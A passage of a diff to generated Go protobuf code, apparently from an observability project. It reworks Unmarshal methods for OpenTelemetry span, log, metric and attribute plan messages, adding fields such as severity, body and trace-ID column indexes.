b < 0x80 { break } } - case 9: + case 14: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field KindValue", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field EndTime", wireType) } - m.KindValue = 0 + m.EndTime = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16836,7 +18235,7 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.KindValue |= int64(b&0x7F) << shift + m.EndTime |= int64(b&0x7F) << shift if b < 0x80 { break } @@ -16862,7 +18261,7 @@ func (m *OTelSpan) Unmarshal(dAtA []byte) error { } return nil } -func (m *OTelMetricGauge) Unmarshal(dAtA []byte) error { +func (m *OTelLog) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -16885,17 +18284,17 @@ func (m *OTelMetricGauge) Unmarshal(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: OTelMetricGauge: wiretype end group for non-group") + return fmt.Errorf("proto: OTelLog: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: OTelMetricGauge: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: OTelLog: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field FloatColumnIndex", wireType) + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) } - var v int64 + var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16905,17 +18304,31 @@ func (m *OTelMetricGauge) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - v |= int64(b&0x7F) << shift + msglen |= int(b&0x7F) << shift if b < 0x80 { break } } - m.ValueColumn = &OTelMetricGauge_FloatColumnIndex{v} + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Attributes = append(m.Attributes, &OTelAttribute{}) + if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex case 2: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field IntColumnIndex", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field TimeColumnIndex", wireType) } - var v int64 + m.TimeColumnIndex = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16925,67 +18338,16 @@ func (m *OTelMetricGauge) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - v |= int64(b&0x7F) << shift + m.TimeColumnIndex |= int64(b&0x7F) << shift if b < 0x80 { break } } - m.ValueColumn = &OTelMetricGauge_IntColumnIndex{v} - default: - iNdEx = preIndex - skippy, err := skipPlan(dAtA[iNdEx:]) - if err != nil { - return err + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ObservedTimeColumnIndex", wireType) } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLengthPlan - } - if (iNdEx + skippy) > l { - return io.ErrUnexpectedEOF - } - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *OTelMetricSummary) Unmarshal(dAtA []byte) error { - l := len(dAtA) - iNdEx := 0 - for iNdEx < l { - preIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - fieldNum := int32(wire >> 3) - wireType := int(wire & 0x7) - if wireType == 4 { - return fmt.Errorf("proto: OTelMetricSummary: wiretype end group for non-group") - } - if fieldNum <= 0 { - return fmt.Errorf("proto: OTelMetricSummary: illegal tag %d (wire type %d)", fieldNum, wire) - } - switch fieldNum { - case 1: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field CountColumnIndex", wireType) - } - m.CountColumnIndex = 0 + m.ObservedTimeColumnIndex = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -16995,16 +18357,16 @@ func (m *OTelMetricSummary) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.CountColumnIndex |= int64(b&0x7F) << shift + m.ObservedTimeColumnIndex |= int64(b&0x7F) << shift if b < 0x80 { break } } - case 2: + case 4: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field SumColumnIndex", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field SeverityNumber", wireType) } - m.SumColumnIndex = 0 + m.SeverityNumber = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17014,16 +18376,16 @@ func (m *OTelMetricSummary) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.SumColumnIndex |= int64(b&0x7F) << shift + m.SeverityNumber |= int64(b&0x7F) << shift if b < 0x80 { break } } - case 3: + case 5: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field QuantileValues", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field SeverityText", wireType) } - var msglen int + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17033,92 +18395,29 @@ func (m *OTelMetricSummary) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { + intStringLen := int(stringLen) + if intStringLen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + msglen + postIndex := iNdEx + intStringLen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - m.QuantileValues = append(m.QuantileValues, &OTelMetricSummary_ValueAtQuantile{}) - if err := m.QuantileValues[len(m.QuantileValues)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } + m.SeverityText = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex - default: - iNdEx = preIndex - skippy, err := skipPlan(dAtA[iNdEx:]) - if err != nil { - return err - } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLengthPlan - } - if (iNdEx + skippy) > l { - return io.ErrUnexpectedEOF - } - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *OTelMetricSummary_ValueAtQuantile) Unmarshal(dAtA []byte) error { - l := len(dAtA) - iNdEx := 0 - for iNdEx < l { - preIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - fieldNum := int32(wire >> 3) - wireType := int(wire & 0x7) - if wireType == 4 { - return fmt.Errorf("proto: ValueAtQuantile: wiretype end group for non-group") - } - if fieldNum <= 0 { - return fmt.Errorf("proto: ValueAtQuantile: illegal tag %d (wire type %d)", fieldNum, wire) - } - switch fieldNum { - case 1: - if wireType != 1 { - return fmt.Errorf("proto: wrong wireType = %d for field Quantile", wireType) - } - var v uint64 - if (iNdEx + 8) > l { - return io.ErrUnexpectedEOF - } - v = uint64(encoding_binary.LittleEndian.Uint64(dAtA[iNdEx:])) - iNdEx += 8 - m.Quantile = float64(math.Float64frombits(v)) - case 2: + case 6: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field ValueColumnIndex", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field BodyColumnIndex", wireType) } - m.ValueColumnIndex = 0 + m.BodyColumnIndex = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17128,7 +18427,7 @@ func (m *OTelMetricSummary_ValueAtQuantile) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.ValueColumnIndex |= int64(b&0x7F) << shift + m.BodyColumnIndex |= int64(b&0x7F) << shift if b < 0x80 { break } @@ -17154,7 +18453,7 @@ func (m *OTelMetricSummary_ValueAtQuantile) Unmarshal(dAtA []byte) error { } return nil } -func (m *OTelAttribute) Unmarshal(dAtA []byte) error { +func (m *OTelSpan) Unmarshal(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -17177,15 +18476,15 @@ func (m *OTelAttribute) Unmarshal(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: OTelAttribute: wiretype end group for non-group") + return fmt.Errorf("proto: OTelSpan: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: OTelAttribute: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: OTelSpan: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field NameString", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -17213,13 +18512,13 @@ func (m *OTelAttribute) Unmarshal(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Name = string(dAtA[iNdEx:postIndex]) + m.Name = &OTelSpan_NameString{string(dAtA[iNdEx:postIndex])} iNdEx = postIndex case 2: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Column", wireType) + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field NameColumnIndex", wireType) } - var msglen int + var v int64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17229,32 +18528,17 @@ func (m *OTelAttribute) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - msglen |= int(b&0x7F) << shift + v |= int64(b&0x7F) << shift if b < 0x80 { break } } - if msglen < 0 { - return ErrInvalidLengthPlan - } - postIndex := iNdEx + msglen - if postIndex < 0 { - return ErrInvalidLengthPlan - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - v := &OTelAttribute_Column{} - if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { - return err - } - m.Value = &OTelAttribute_Column_{v} - iNdEx = postIndex + m.Name = &OTelSpan_NameColumnIndex{v} case 3: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field StringValue", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Attributes", wireType) } - var stringLen uint64 + var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17264,79 +18548,31 @@ func (m *OTelAttribute) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - stringLen |= uint64(b&0x7F) << shift + msglen |= int(b&0x7F) << shift if b < 0x80 { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { + if msglen < 0 { return ErrInvalidLengthPlan } - postIndex := iNdEx + intStringLen + postIndex := iNdEx + msglen if postIndex < 0 { return ErrInvalidLengthPlan } if postIndex > l { return io.ErrUnexpectedEOF } - m.Value = &OTelAttribute_StringValue{string(dAtA[iNdEx:postIndex])} - iNdEx = postIndex - default: - iNdEx = preIndex - skippy, err := skipPlan(dAtA[iNdEx:]) - if err != nil { + m.Attributes = append(m.Attributes, &OTelAttribute{}) + if err := m.Attributes[len(m.Attributes)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { return err } - if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLengthPlan - } - if (iNdEx + skippy) > l { - return io.ErrUnexpectedEOF - } - iNdEx += skippy - } - } - - if iNdEx > l { - return io.ErrUnexpectedEOF - } - return nil -} -func (m *OTelAttribute_Column) Unmarshal(dAtA []byte) error { - l := len(dAtA) - iNdEx := 0 - for iNdEx < l { - preIndex := iNdEx - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return ErrIntOverflowPlan - } - if iNdEx >= l { - return io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= uint64(b&0x7F) << shift - if b < 0x80 { - break - } - } - fieldNum := int32(wire >> 3) - wireType := int(wire & 0x7) - if wireType == 4 { - return fmt.Errorf("proto: Column: wiretype end group for non-group") - } - if fieldNum <= 0 { - return fmt.Errorf("proto: Column: illegal tag %d (wire type %d)", fieldNum, wire) - } - switch fieldNum { - case 1: + iNdEx = postIndex + case 4: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field ColumnType", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field TraceIDColumn", wireType) } - m.ColumnType = 0 + m.TraceIDColumn = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return ErrIntOverflowPlan @@ -17346,14 +18582,619 @@ func (m *OTelAttribute_Column) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.ColumnType |= typespb.DataType(b&0x7F) << shift + m.TraceIDColumn |= int64(b&0x7F) << shift if b < 0x80 { break } } - case 2: + case 5: if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field ColumnIndex", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field SpanIDColumn", wireType) + } + m.SpanIDColumn = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.SpanIDColumn |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ParentSpanIDColumn", wireType) + } + m.ParentSpanIDColumn = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.ParentSpanIDColumn |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StartTimeColumnIndex", wireType) + } + m.StartTimeColumnIndex = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.StartTimeColumnIndex |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field EndTimeColumnIndex", wireType) + } + m.EndTimeColumnIndex = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.EndTimeColumnIndex |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 9: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field KindValue", wireType) + } + m.KindValue = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.KindValue |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelMetricGauge) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: OTelMetricGauge: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: OTelMetricGauge: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field FloatColumnIndex", wireType) + } + var v int64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.ValueColumn = &OTelMetricGauge_FloatColumnIndex{v} + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IntColumnIndex", wireType) + } + var v int64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.ValueColumn = &OTelMetricGauge_IntColumnIndex{v} + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelMetricSummary) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: OTelMetricSummary: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: OTelMetricSummary: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field CountColumnIndex", wireType) + } + m.CountColumnIndex = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.CountColumnIndex |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field SumColumnIndex", wireType) + } + m.SumColumnIndex = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.SumColumnIndex |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field QuantileValues", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.QuantileValues = append(m.QuantileValues, &OTelMetricSummary_ValueAtQuantile{}) + if err := m.QuantileValues[len(m.QuantileValues)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelMetricSummary_ValueAtQuantile) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ValueAtQuantile: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ValueAtQuantile: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 1 { + return fmt.Errorf("proto: wrong wireType = %d for field Quantile", wireType) + } + var v uint64 + if (iNdEx + 8) > l { + return io.ErrUnexpectedEOF + } + v = uint64(encoding_binary.LittleEndian.Uint64(dAtA[iNdEx:])) + iNdEx += 8 + m.Quantile = float64(math.Float64frombits(v)) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ValueColumnIndex", wireType) + } + m.ValueColumnIndex = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.ValueColumnIndex |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelAttribute) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: OTelAttribute: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: OTelAttribute: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Column", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + v := &OTelAttribute_Column{} + if err := v.Unmarshal(dAtA[iNdEx:postIndex]); err != nil { + return err + } + m.Value = &OTelAttribute_Column_{v} + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StringValue", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Value = &OTelAttribute_StringValue{string(dAtA[iNdEx:postIndex])} + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelAttribute_Column) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Column: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Column: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ColumnType", wireType) + } + m.ColumnType = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.ColumnType |= typespb.DataType(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ColumnIndex", wireType) } m.ColumnIndex = 0 for shift := uint(0); ; shift += 7 { @@ -17365,14 +19206,512 @@ func (m *OTelAttribute_Column) Unmarshal(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.ColumnIndex |= int64(b&0x7F) << shift + m.ColumnIndex |= int64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field CanBeJsonEncodedArray", wireType) + } + var v int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.CanBeJsonEncodedArray = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := skipPlan(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return ErrInvalidLengthPlan + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *OTelMetric) Unmarshal(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: OTelMetric: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: OTelMetric: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return ErrInvalidLengthPlan + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Description", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return ErrIntOverflowPlan + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return ErrInvalidLengthPlan + } + postIndex := iNdEx + intStringLen + if 